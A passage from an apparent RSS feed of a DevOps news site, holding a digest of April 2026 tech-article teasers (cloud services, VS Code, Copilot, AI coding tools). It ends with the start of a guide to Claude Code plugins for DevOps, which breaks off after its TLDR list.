        <a href="#h3-aws-deadline-cloud-supports-monitor-creation-in-multiple-regions" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AWS Deadline Cloud supports monitor creation in multiple regions
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-aws-deadline-cloud-supports-monitor-creation-in-multiple-regions"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Today, AWS Deadline Cloud announces support for creating monitors in multiple AWS Regions without additional configuration of your IAM Identity Center instance. AWS Deadline Cloud is a fully managed s</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/04/deadline-cloud-monitor-creation/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-accelerating-innovation-and-impact-across-the-public-sector" class="group relative scroll-mt-24">
        <a href="#h3-accelerating-innovation-and-impact-across-the-public-sector" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Accelerating innovation and impact across the public sector
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-accelerating-innovation-and-impact-across-the-public-sector"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Leaders across industries around the world are asking: How do we harness all of this powerful technology effectively and at scale, to solve real problems, and drive value and impact, right now? Google</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/topics/public-sector/accelerating-innovation-and-impact-across-the-public-sector/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-sap-concur-automates-expense-reporting-with-agentic-ai" class="group relative scroll-mt-24">
        <a href="#h3-how-sap-concur-automates-expense-reporting-with-agentic-ai" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How SAP Concur automates expense reporting with agentic AI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-sap-concur-automates-expense-reporting-with-agentic-ai"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>For decades, expense automation relied on a simple premise: If the machine can read the text, it can do the work. But anyone who has ever tried to scan a crumpled, smudged, or sun-bleached receipt fro</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/products/ai-machine-learning/how-sap-concur-automates-expense-reporting-with-agentic-ai/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-why-dr-testing-can-no-longer-be-an-afterthought" class="group relative scroll-mt-24">
        <a href="#h3-why-dr-testing-can-no-longer-be-an-afterthought" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Why DR Testing Can No Longer Be an Afterthought
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-why-dr-testing-can-no-longer-be-an-afterthought"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The March 2026 drone strikes on AWS data centers in the UAE and Bahrain — the first confirmed military attack on a hyperscale cloud provider — exposed how unprepared many organisations are for a real </p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/why-dr-testing-can-no-longer-be-an-afterthought"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ai-for-scientific-research-building-the-research-platform-that-science-needs-with-red-hat-ai" class="group relative scroll-mt-24">
        <a href="#h3-ai-for-scientific-research-building-the-research-platform-that-science-needs-with-red-hat-ai" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AI for scientific research: Building the research platform that science needs with Red Hat AI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ai-for-scientific-research-building-the-research-platform-that-science-needs-with-red-hat-ai"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In a previous article, we focused on the capability that turns large language models (LLMs) from general-purpose tools into instruments of research through domain-specific customization. Fine-tuned mo</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/ai-scientific-research-building-research-platform-science-needs-red-hat-ai"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-stop-overpaying-for-virtualization-and-prove-it-with-the-proof-of-concept-guide-for-suse-virtualization" class="group relative scroll-mt-24">
        <a href="#h3-stop-overpaying-for-virtualization-and-prove-it-with-the-proof-of-concept-guide-for-suse-virtualization" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Stop overpaying for virtualization and prove it with the Proof of Concept Guide for SUSE Virtualization.
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-stop-overpaying-for-virtualization-and-prove-it-with-the-proof-of-concept-guide-for-suse-virtualization"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Modernizing virtualization is no longer optional. Proving it will work in your environment is the real barrier. Executive teams are being pushed to move faster while risk rises. Licensing changes have</p>
<p><strong>📅 Apr 9, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/stop-overpaying-for-virtualization-and-prove-it-with-the-proof-of-concept-guide-for-suse-virtualization/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-misc" class="group relative scroll-mt-24">
        <a href="#h2-misc" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📰 Misc
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-misc"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-visual-studio-code-1116" class="group relative scroll-mt-24">
        <a href="#h3-visual-studio-code-1116" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Visual Studio Code 1.116
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-visual-studio-code-1116"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn what&#39;s new in Visual Studio Code 1.116 (Insiders) Read the full article</p>
<p><strong>📅 Apr 15, 2026</strong> • <strong>📰 VS Code Blog</strong></p>
<p><a href="https://code.visualstudio.com/updates/v1_116"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-visual-studio-code-1115-moves-deeper-into-agent-native-development" class="group relative scroll-mt-24">
        <a href="#h3-visual-studio-code-1115-moves-deeper-into-agent-native-development" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Visual Studio Code 1.115 Moves Deeper Into Agent-Native Development
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-visual-studio-code-1115-moves-deeper-into-agent-native-development"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>VS Code 1.115 adds the VS Code Agents companion app, better browser tools, and background terminal interaction for agentic development workflows.</p>
<p><strong>📅 Apr 13, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/visual-studio-code-1-115-moves-deeper-into-agent-native-development/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-github-copilot-pulls-drawstring-on-tighter-developer-usage-limits" class="group relative scroll-mt-24">
        <a href="#h3-github-copilot-pulls-drawstring-on-tighter-developer-usage-limits" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitHub Copilot Pulls Drawstring On Tighter Developer Usage Limits
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-github-copilot-pulls-drawstring-on-tighter-developer-usage-limits"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>New limits for GitHub Copilot come as no surprise. To roll out over the next few weeks, at the time of writing, two usage limit restrictions will come into place.</p>
<p><strong>📅 Apr 13, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/github-copilot-pulls-drawstring-on-tighter-developer-usage-limits/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-github-copilot-cli-gets-a-second-opinion-and-its-from-a-different-ai-family" class="group relative scroll-mt-24">
        <a href="#h3-github-copilot-cli-gets-a-second-opinion-and-its-from-a-different-ai-family" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitHub Copilot CLI Gets a Second Opinion — and It’s From a Different AI Family
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-github-copilot-cli-gets-a-second-opinion-and-its-from-a-different-ai-family"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>GitHub Copilot CLI’s &quot;Rubber Duck&quot; experimental feature uses cross-family model collaboration (Claude + GPT-5.4) to catch architectural flaws and reduce logic errors.</p>
<p><strong>📅 Apr 13, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/github-copilot-cli-gets-a-second-opinion-and-its-from-a-different-ai-family/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ten-great-devops-job-opportunities" class="group relative scroll-mt-24">
        <a href="#h3-ten-great-devops-job-opportunities" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Ten Great DevOps Job Opportunities
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ten-great-devops-job-opportunities"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>DevOps.com is now providing a weekly DevOps jobs report through which opportunities for DevOps professionals will be highlighted as part of an effort to better serve our audience.</p>
<p><strong>📅 Apr 13, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/ten-great-devops-job-opportunities/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-cursor-claude-code-and-codex-are-merging-into-one-ai-coding-stack-nobody-planned" class="group relative scroll-mt-24">
        <a href="#h3-cursor-claude-code-and-codex-are-merging-into-one-ai-coding-stack-nobody-planned" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Cursor, Claude Code, and Codex are merging into one AI coding stack nobody planned
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cursor-claude-code-and-codex-are-merging-into-one-ai-coding-stack-nobody-planned"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The AI coding tool market was supposed to consolidate. One winner would emerge, developers would standardize around it, and the The post Cursor, Claude Code, and Codex are merging into one AI coding s</p>
<p><strong>📅 Apr 12, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/ai-coding-tool-stack/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-karpathy-says-developers-have-ai-psychosis-everyone-else-is-next" class="group relative scroll-mt-24">
        <a href="#h3-karpathy-says-developers-have-ai-psychosis-everyone-else-is-next" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Karpathy says developers have ‘AI Psychosis.’ Everyone else is next.
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-karpathy-says-developers-have-ai-psychosis-everyone-else-is-next"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>I’m Matt Burns, Chief Content Officer at Insight Media Group. Each week, I round up the most important AI developments, The post Karpathy says developers have ‘AI Psychosis.’ Everyone else is next. ap</p>
<p><strong>📅 Apr 11, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/karpathy-says-developers-have-ai-psychosis-everyone-else-is-next/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-where-are-the-guardrails-everyone-promised-for-ai" class="group relative scroll-mt-24">
        <a href="#h3-where-are-the-guardrails-everyone-promised-for-ai" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Where are the guardrails everyone promised for AI?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-where-are-the-guardrails-everyone-promised-for-ai"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Everyone says AI needs guardrails. Julien Verlaguet wants to know who is actually building them. Verlaguet, founder of SkipLabs, has The post Where are the guardrails everyone promised for AI? appeare</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/skiplabs-ai-guardrails-skipper/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-not-to-learn-python" class="group relative scroll-mt-24">
        <a href="#h3-how-not-to-learn-python" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How (Not) to Learn Python
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-not-to-learn-python"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>While listening to Mark Smith’s inspirational talk for Python Unplugged on PyTV about How to Learn Python, what caught my attention was that Mark suggested turning off some of PyCharm’s AI features to</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/pycharm/2026/04/how-not-to-learn-python/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-data-gravity-problem-moving-data-to-ai-vs-moving-ai-to-data" class="group relative scroll-mt-24">
        <a href="#h3-the-data-gravity-problem-moving-data-to-ai-vs-moving-ai-to-data" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Data Gravity Problem: Moving Data to AI vs. Moving AI to Data
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-data-gravity-problem-moving-data-to-ai-vs-moving-ai-to-data"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI promises unprecedented insights, automation and business value. But as organizations move from experimentation to production, we’re hearing more about a fundamental architectural challenge: data gr</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/the-data-gravity-problem-moving-data-to-ai-vs-moving-ai-to-data/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-friday-five-april-10-2026" class="group relative scroll-mt-24">
        <a href="#h3-friday-five-april-10-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Friday Five — April 10, 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-friday-five-april-10-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Don&#39;t forget to register for Red Hat SummitRegistration is now open for Red Hat Summit 2026 in Atlanta! Register by February 23 for the lowest rates, or save further with group discounts for three or </p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/friday-five-april-10-2026-red-hat"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-webinar-oss-power-ups-xenoatomterminalui" class="group relative scroll-mt-24">
        <a href="#h3-webinar-oss-power-ups-xenoatomterminalui" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Webinar – OSS Power-Ups: XenoAtom.Terminal.UI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-webinar-oss-power-ups-xenoatomterminalui"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Join us Thursday, April 16, 2026, 15:00 – 16:30 UTC (check other timezones) for our free live webinar, OSS PowerUps – XenoAtom.Terminal.UI, with Alexandre Mutel. This is the fifteenth episode of our s</p>
<p><strong>📅 Apr 9, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/dotnet/2026/04/09/webinar-oss-power-ups-xenoatom-terminal-ui/"><strong>🔗 Read more</strong></a></p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Best Claude Code Plugins for DevOps Engineers in 2026]]></title>
      <link>https://devops.anhp.site/posts/best-claude-code-plugins-devops-2026</link>
      <description><![CDATA[A curated guide to Claude Code plugins built for DevOps workflows - from Terraform validation and Kubernetes troubleshooting to security scanning and CI/CD pipeline optimization.]]></description>
      <pubDate>Sun, 12 Apr 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/best-claude-code-plugins-devops-2026</guid>
      <category><![CDATA[DevOps]]></category>
      
      <category><![CDATA[DevOps]]></category><category><![CDATA[Claude Code]]></category><category><![CDATA[AI]]></category><category><![CDATA[Plugins]]></category><category><![CDATA[Automation]]></category><category><![CDATA[Developer Tools]]></category><category><![CDATA[Terraform]]></category><category><![CDATA[Kubernetes]]></category>
      <content:encoded><![CDATA[<p>Claude Code plugins add specialized capabilities to your AI coding assistant. For DevOps engineers, the right plugins can validate Terraform configurations, troubleshoot Kubernetes clusters, scan for security vulnerabilities, and optimize CI/CD pipelines directly from your terminal.</p>
<p>This guide covers every plugin worth knowing about for DevOps work, organized by category, with installation commands and practical examples.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li><strong>Context7</strong> and <strong>Security Guidance</strong> are the foundation - install these first</li>
<li><strong>HashiCorp Agent Skills</strong> add Terraform and Packer expertise</li>
<li><strong>DevOps Skills Marketplace</strong> has specialized tools for Kubernetes, CI/CD, monitoring, and FinOps</li>
<li><strong>Shipyard</strong> handles infrastructure validation across Terraform, Ansible, Docker, and Kubernetes</li>
<li><strong>GitHub</strong> plugin streamlines multi-repo PR and CI/CD management</li>
</ul>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
